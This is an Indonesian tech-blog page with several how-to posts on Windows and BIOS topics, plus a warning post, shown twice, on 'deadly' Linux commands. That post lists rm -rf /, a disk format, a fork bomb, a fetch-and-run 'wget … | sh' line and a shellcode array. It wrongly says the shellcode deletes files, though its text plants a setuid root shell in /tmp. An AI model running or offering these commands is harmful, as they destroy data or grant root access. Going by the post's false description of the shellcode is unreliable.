Latest Updates

Installasi DNS Server di Windows Server 2008


Dari Start menu pilih Adminitrative tools --> Server Manager

 

















Kemudian setelah muncul tampilan seperti berikut, klik  roles di sebelah kiri windows dan pilih add roles.



















Ikuti wizard yang muncul, setelah muncul tampilan seperti berikut kemudian beri tanda ceklist pada DNS server dan klik next.



















Saat muncul tampilan seperti dibawah klik install untuk menginstall DNS pada windows server 2008.
 


















Setelah instalasi selesai maka akan muncul informasi installation succeded seperti  gambar di bawah ini.

Command linux yang mematikan

Command linux yang mematikan
berikut command-command yang  berbahaya jika diterapkan pada mesin linux.

1. Perintah rm -rf /
Perintah ini akan menghapus seluruh isi folder / (root folder atau root directory). Root folder memang dilindungi oleh hak akses user root, tapi akan sangat berbahaya jika perintah diatas dieksekusi saat kita berada dalam hak akses root. Itulah mengapa sangat dianjurkan untuk menggunakan hak akses user biasa untuk kegiatan sehari-hari.Perintah diatas juga tetap berbahaya jika dijalankan oleh user biasa yang dapat merusak isi folder miliknya sendiri


2. Perintah menggunakan bilangan hexa

char esp[] __attribute__ ((section(”.text”))) /* e.s.p
release */
= “\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68″
“\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99″
“\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7″
“\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56″
“\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31″
“\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69″
“\x6e\x2f\x73\x68\x00\x2d\x63\x00″
“cp -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;”;

Perintah diatas sama dengan perintah pada nomor 1 hanya saja ditulis dalam bilangan hexa. Jika dieksekusi, sama halnya menghapus seluruh isi folder (rm -rf /). Karena ditulis dalam bilangan hexa, perintah ini bisa juga menjebak user Linux yang berpengalaman

3. Perintah mkfs.ext3 /dev/sda
Perintah ini sama halnya melakukan perintah format pada partisi yang ditunjuk.
4. Perintah forkbomb :(){:|:&};:
Perintah ini akan memerintahkan sistem untuk mengeksekusi berbagai proses sampai hang. Biasanya akan mengakibatkan hilangnya data karena komputer terpaksa harus dimatikan secara paksa.

5. Perintah apapun > /dev
Perintah ini akan menimpa sistem file device yang ditunjuk dan pada akhirnya bisa menyebabkan hilangnya data yang dimounting pada folder /dev (folder /dev biasa digunakan untuk menempatkan keterangan hardware dan harddisk)

6. Perintah untuk eksekusi file shell tertentu
Perintah wget http://alamat-url-yangtidak-jelas -O- | sh akan memerintahkan Linux untuk langsung menjalankan file sh yang ditunjuk. File sh adalah file eksekusi di Linux, sama halnya file .exe. Jangan sekali-kali melakukan perintah diatas untuk file sh yang tidak jelas sumber dan peruntukannya.

7. Perintah memindahkan home folder ke /dev/null
mv /home/home-directory/* /dev/null
Perintah ini akan memindahkan seluruh data di home folder ke file null (file yang sebenarnya tidak ada). File yang dipindahkan akan hilang selamanya tanpa ada backup

Mengatasi Print spoler error

Mengatasi Print spoler error
Langkah-langkah untuk mengatasi masalah print spooler yang tidak mau berjalan pada Sistem Operasi Windows 7 adalah sebagai berikut :

1. Pastikan secara fisik hardware tidak ada kerusakan pada peralatan printer maupun kabel penghubungnya (USBPararel).

2. matikan service print spooler, melalui Control Panel -> Administrative Tools-> Services, cari bagian print spooler dan klik stop.


3. Melalui windows explorer hapuslah seluruh isi file dari folder 3, secara lengkap path-nya ada di C:\windows -> System32 -> spool -> drivers -> windows32x863. hapus folder 3.

3. Masuklah ke registry windows 7., Ketik  regedit,  melalui search program and files, milik windows 7.

4. Masuk ke  HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlPrintEnvironmentsWindows NT x86DriversVersion-3

5.  Hapus semua nilai yang ada pada direktori Version-3

6. Hidupkan kembali  untuk  service print spooler, melalui Control Panel, Administrative Tools, Services, cari bagian print spooler dan klik start.

7. Langkah terakhir lakukan instalasi ulang untuk driver printer tersebut.

Selamat mencoba dan sukses buat kita semua ...

Software pengganti Deep Freeze


RVS 2010 merupakan software kombinasi antara antivirus, anti-malware dan virtualisasi sistem yang bertujuan untuk melindungi komputer dari berbagai serangan/infeksi virus dan sejenisnya. RVS 2010 Home Free bisa kita gunakan grais untuk personal dan non-commercial.

 
Berikut beberapa fitur RVS 2010 Home Free :
  • Virus Guard, Antivirus yang memonitor secara realtime (terus menerus)
  • Sistem safe (virtusl sistem), untuk mengembalikan keadaan komputer seperti sebelunya. Seperti halnya DeepFreeze.
  • Virtual Disk, mampu membuat virtual disk/partisi.
  • Access Protection, untuk menjaga komputer dari penggunaan yang tidak di inginkan
  • Message Center, memberikan berbagai informasi berkaitan dengan keamanan/infeksi virus.
  • Berbagai fitur lainnya
Salah satu fitur yang merupakan alternatif DeepFreeze adalah kemampuan untuk mengembalikan keadaan sistem seperti sebelumnya. Jadi ketika komputer sudah terinfeksi virus, maka komputer bisa dikembalikan ke keadaan sebelumnya. Data atau Update yang sudah tersimpan pun akan terhapus jika dilakukan recovery, sehingga pastikan untuk menon-aktifkan terlebih dahulu RVS 2010 ketika melakukan update dan perubahan penting lainnya.
Lebih detailnya silahkan melihat halaman Returnil Virtual System2010 Home Free
http://www.returnilvirtualsystem.com/returnil-system-safe

 
 DOWNLOAD











Command linux yang mematikan

Command linux yang mematikan

berikut command-command yang  berbahaya jika diterapkan pada mesin linux.

1. Perintah rm -rf /
Perintah ini akan menghapus seluruh isi folder / (root folder atau root directory). Root folder memang dilindungi oleh hak akses user root, tapi akan sangat berbahaya jika perintah diatas dieksekusi saat kita berada dalam hak akses root. Itulah mengapa sangat dianjurkan untuk menggunakan hak akses user biasa untuk kegiatan sehari-hari.Perintah diatas juga tetap berbahaya jika dijalankan oleh user biasa yang dapat merusak isi folder miliknya sendiri


2. Perintah menggunakan bilangan hexa

char esp[] __attribute__ ((section(”.text”))) /* e.s.p
release */
= “\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68″
“\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99″
“\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7″
“\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56″
“\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31″
“\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69″
“\x6e\x2f\x73\x68\x00\x2d\x63\x00″
“cp -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;”;


Perintah diatas sama dengan perintah pada nomor 1 hanya saja ditulis dalam bilangan hexa. Jika dieksekusi, sama halnya menghapus seluruh isi folder (rm -rf /). Karena ditulis dalam bilangan hexa, perintah ini bisa juga menjebak user Linux yang berpengalaman

3. Perintah mkfs.ext3 /dev/sda
Perintah ini sama halnya melakukan perintah format pada partisi yang ditunjuk.
4. Perintah forkbomb :(){:|:&};:
Perintah ini akan memerintahkan sistem untuk mengeksekusi berbagai proses sampai hang. Biasanya akan mengakibatkan hilangnya data karena komputer terpaksa harus dimatikan secara paksa.

5. Perintah apapun > /dev
Perintah ini akan menimpa sistem file device yang ditunjuk dan pada akhirnya bisa menyebabkan hilangnya data yang dimounting pada folder /dev (folder /dev biasa digunakan untuk menempatkan keterangan hardware dan harddisk)

6. Perintah untuk eksekusi file shell tertentu
Perintah wget http://alamat-url-yangtidak-jelas -O- | sh akan memerintahkan Linux untuk langsung menjalankan file sh yang ditunjuk. File sh adalah file eksekusi di Linux, sama halnya file .exe. Jangan sekali-kali melakukan perintah diatas untuk file sh yang tidak jelas sumber dan peruntukannya.

7. Perintah memindahkan home folder ke /dev/null
mv /home/home-directory/* /dev/null
Perintah ini akan memindahkan seluruh data di home folder ke file null (file yang sebenarnya tidak ada). File yang dipindahkan akan hilang selamanya tanpa ada backup

Software Mereset BIOS

BIOS, singkatan dari Basic Input Output System, dalam sistem komputer IBM PC atau kompatibelnya (komputer yang berbasis keluarga prosesor Intel x86) merujuk kepada kumpulan rutin perangkat lunak yang mampu melakukan hal-hal berikut:
  1. Inisialisasi (penyalaan) serta pengujian terhadap perangkat keras (dalam proses yang disebut dengan Power On Self Test, POST)
  2. Memuat dan menjalankan sistem operasi
  3. Mengatur beberapa konfigurasi dasar dalam komputer (tanggal, waktu, konfigurasi media penyimpanan, konfigurasi proses booting, kinerja, serta kestabilan komputer)
  4. Membantu sistem operasi dan aplikasi dalam proses pengaturan perangkat keras dengan menggunakan BIOS Runtime Services.
BIOS menyediakan antarmuka komunikasi tingkat rendah, dan dapat mengendalikan banyak jenis perangkat keras (seperti keyboard). Karena kedekatannya dengan perangkat keras, BIOS umumnya dibuat dengan menggunakan bahasa rakitan (assembly) yang digunakan oleh mesin yang bersangkutan.
Istilah BIOS pertama kali muncul dalam sistem operasi CP/M, yang merupakan bagian dari CP/M yang dimuat pada saat proses booting dimulai yang berhadapan secara langsung dengan perangkat keras (beberapa mesin yang menjalankan CP/M memiliki boot loader sederhana dalam ROM). Kebanyakan versi DOS memiliki sebuah berkas yang disebut “IBMBIO.COM” (IBM PC-DOS) atau “IO.SYS” (MS-DOS) yang berfungsi sama seperti halnya CP/M disk BIOS.
Kata BIOS juga dapat diartikan sebagai “kehidupan” dalam tulisan Yunani (Βίος).
Dalam BIOS, terdapat beberapa komponen dasar, yakni sebagai berikut:

Contoh dari CMOS Setup (Phoenix BIOS)
  • Program BIOS Setup yang memungkinkan pengguna untuk mengubah konfigurasi komputer (tipe harddisk, disk drive, manajemen daya listrik, kinerja komputer, dll) sesuai keinginan. BIOS menyembunyikan detail-detail cara pengaksesan perangkat keras yang cukup rumit apabila dilakukan secara langsung.
  • Driver untuk perangkat-perangkat keras dasar, seperti video adapter, perangkat input, prosesor, dan beberapa perangkat lainnya untuk sistem operasi dasar 16-bit (dalam hal ini adalah keluarga DOS).
  • Program bootstraper utama yang memungkinkan komputer dapat melakukan proses booting ke dalam sistem operasi yang terpasang. (id.wikipedia.org)

Keamanan komputer untuk mencegah tangan yang usil merubah setting bios, kita akan membuat pasword proteksi yang tujuannya bila masuk ke system bios harus memasukkan pasword. Benar-benar aman, namun karena terlalu banyaknya system pasword di komputer dan kita tidak bisa menghapalnya, mungkin kita lupa pasword tersebut, sehingga kita tidak bisa masuk ke dalam system bios untuk merubah setting bios.
Ada cara yang biasa dilakukan yaitu dengan cara membuka casing komputer, dan memindahkan jamper slot dari Clear CMOS, namun pekerjaan itu sangat lama, bahkan bila kita tidak hati-hati, akibat dari membuka cashing komputer dapat membuat komponen komputer lainnya terganggu dan kendur sehingga pada saat menghidupkan komputer tidak mau bekerja, dan kita terpaksa harus membokar ulang dan memeriksanya kembali, sungguh menjengkelkan terpaksa harus dua kali kerja.
Anda sekarang tidak perlu harus membuka cashing dan melakukan short jamper untuk Clear CMOS, anda dapat menggunakan software PC Cleaner CMOS 100% PC CMOS Cleaner merupakan alat yang mudah digunakan untuk memulihkan, menghapus, decode dan menampilkan password yang disimpan di BIOS apa pun merek tersebut. Hampir semua tipe BIOS yang didukung. Ini adalah CD bootable yang berjalan pada komputer x86 dan x86_64. Tidak perlu membayar biaya mahal untuk ahli. Ini adalah alat yang berguna bagi pengguna untuk mendapatkan password BIOS mereka yang hilang kembali, atau menghapus password dari komputer lama dibeli dari orang lain

DOWNLOAD
 Pass : serverqu

Mengatasi Windows Tidak Bisa Shut Down

Banyak pengguna komputer mengalami masalah yaitu Windows tidak bisa shut down atau windows  hang ketika shut down. Masalah seperti ini sebenarnya penyebabnya beragam dan cara penyelesaiannya pun beragam pula.

Dari sekian banyak penyebab windows tidak bisa shutdown, saya simpulkan penyebabnya seperti dibawah ini;
  1. Karena masih ada program yang berjalan di belakang layar (misalnya antivirus)
  2. Masalah update/upgrade windows yang tidak sempurnah
  3. Masalah driver perangkat
  4.  File windows corupt
  5. masalah hardware
  6. menginstall perangkat lunak pihak ketiga
Untuk memastikan yang mana penyebabnya juga bukan pekerjaan mudah. Dalam banyak kasus, tidak ada pesan apa-apa tetapi yang nyata adalah windows mogok shutdown. Hanya user yang bisa menduga-duga misalnya ketika selesai update driver dan ini terjadi maka berarti kemungkinan penyebabnya adalah driver. Di bawah ini saya berika beberapa pilihan untuk mengatasi hal tersebut.


SOLUSI  1
  1. Tekan tombol [Start]  dan lakukan seperti yang biasanya Anda lakukan untuk mematikan komputer, dan ketika itu tidak merespon Anda perlu menekan tombol CTRL + ALT + DEL, kemudian masuk ke Task Manager.
  2. Di dalam jendela Task Manager akan melihat semua proses yang berjalan. Jika tidak, klik tab [Processes] untuk menampilkannya.
  3. Setelah Anda berada di area Proses, lihat setiap proses yang masih menunjukkan aktivitas. Klik setidaknya 2-4 proses yang sedang berjalan dan klik [End Process]. Setelah Anda telah mengakhiri setidaknya 2-4 proses tadi, kembali ke tombol start dan coba untuk log off lagi. Biarkan Task Manager tetap berjalan agar anda bisa langsung lanjutkan jika tidak berhasil.
  4. Jika komputer Anda masih tidak log off atau tidak mau restart, ulangi langkah no # 3. Kali ini, hentikan beberapa proses yang menunjukkan tidak ada aktifitas di dalamnya. Setidaknya 3  proses lagi. Lalu tes lagi. Semoga berhasil.
PENTING!!! : Ada beberapa proses yang tidak boleh anda hentikan yaitu :
  • System Idle Process  Jika Anda membunuh satu ini, Anda mungkin juga menekan tombol ini akan membuat semua proses berhenti. Jadi anda harus mereset kembali.
  • explorer.exe  Ini akan menutup taskbar di bagian bawah komputer Anda dan jika anda tutup, Anda akan punya tombol sama sekali.
  • Sebaiknya juga jangan menghentikan taskmgr.exe


SOLUSI  2
  1. Masuk pergi msconfig, tekan [Start] lalu ketik msconfig dan kemudian [Enter]
  2. Dari jendela [System Configuration] cobalah  pilih tab [Start Up] dan nonaktifkan layanan yang tidak penting pada boot berikutnya. Lihat gambar dibawah lalu coba restart!
 













SOLUSI 3
Pada windows 7 yang menggunakan theme Aero, masalah ini juga pernah terjadi dan diatasi dengan me-nonaktifka windows Aero dan mengganti dengan Classic.

SOLUSI  4
Periksa driver kartu grafis melalui [Device Manager] dan lihat apakah kartu grafis normal dan tidak ada tanda bahaya (tanda seru “!” berwarna kuning).  Jika ada masalah cobalah  unistall dan insatlling lagi.

SOLUSI  5
Saya pernah menemukan pada PC Desktop yaitu pengaturan pada BIOS yang tidak diterima oleh komputer. Setelah setting ke [Default] masalah teratasi.

SOLUSI 6
Jika anda ingat beberapa saat sebelumnya anda menginstall salah satu software dan setelah itu masalah ini mulai terjadi coba uninstall perangkat lunak ataukah driver tersebut kemudian restart. Untuk melakukan ini, klik tombol Start kemudian arahkan ke [Control Panel]-> [System]-> [Device Manager]. Klik kanan perangkat yang anda install drivernya dan pilih [Uninstall] dan setelah itu kemudian restart komputer.

SOLUSI  7
Jika beberapa tips di atas tidak jalan maka bisa menggunakan cara sebagai berikut :

1. Menggunakan registry editor
  • Klik Start Menu -> Run -> ketik regedit
  • Buka HKEY_CURRENT_USER -> Control Panel -> Desktop
  • Klik 2x pada PowerOffActive dan ubah nilai nya menjadi 1
2. Menggunakan Control  panel
  • Klik Start dan pilih Control Panel
  • Didalam Control Panel, klik Performance and Maintenance, kemudian klik Power Options
  • Klik tab APM
  • Beri tanda centang pada Enable Advanced Power Management Support kemudian klik OK.
3. Menggunakan System Configuration Utilities
  • Masuk ke run dan Ketik “msconfig” (tanpa tanda kutip).
  • Pada System Configuration Utilities pilih tab General, klik menu Advanced.... 
  • Berikan tanda pada Disable fast shutdown. 
  • Tutup semua program dan coba untuk shutdown
4. Menggunakan Tun up utility 2011
  • Ini adalah cara saya yang terakhir yang saya gunakan untuk mengatasi windows xp yang tidak bisa shutdown.
  • Download dan install Tun up utility 2011 setelah selesai masukan serial numbernya jika sudah doubel klik pada icon Tun up utility 2011 tunggu hingga beberapa saat 
  • Jika sudah selesai klik menu Optimize sytem pilih Accelerate system startup and shutdown 
  • Tunggu  hingga analisis selesai  dan klik Optimize all.
  • Jika sudah selesai silahkan anda coba shutdown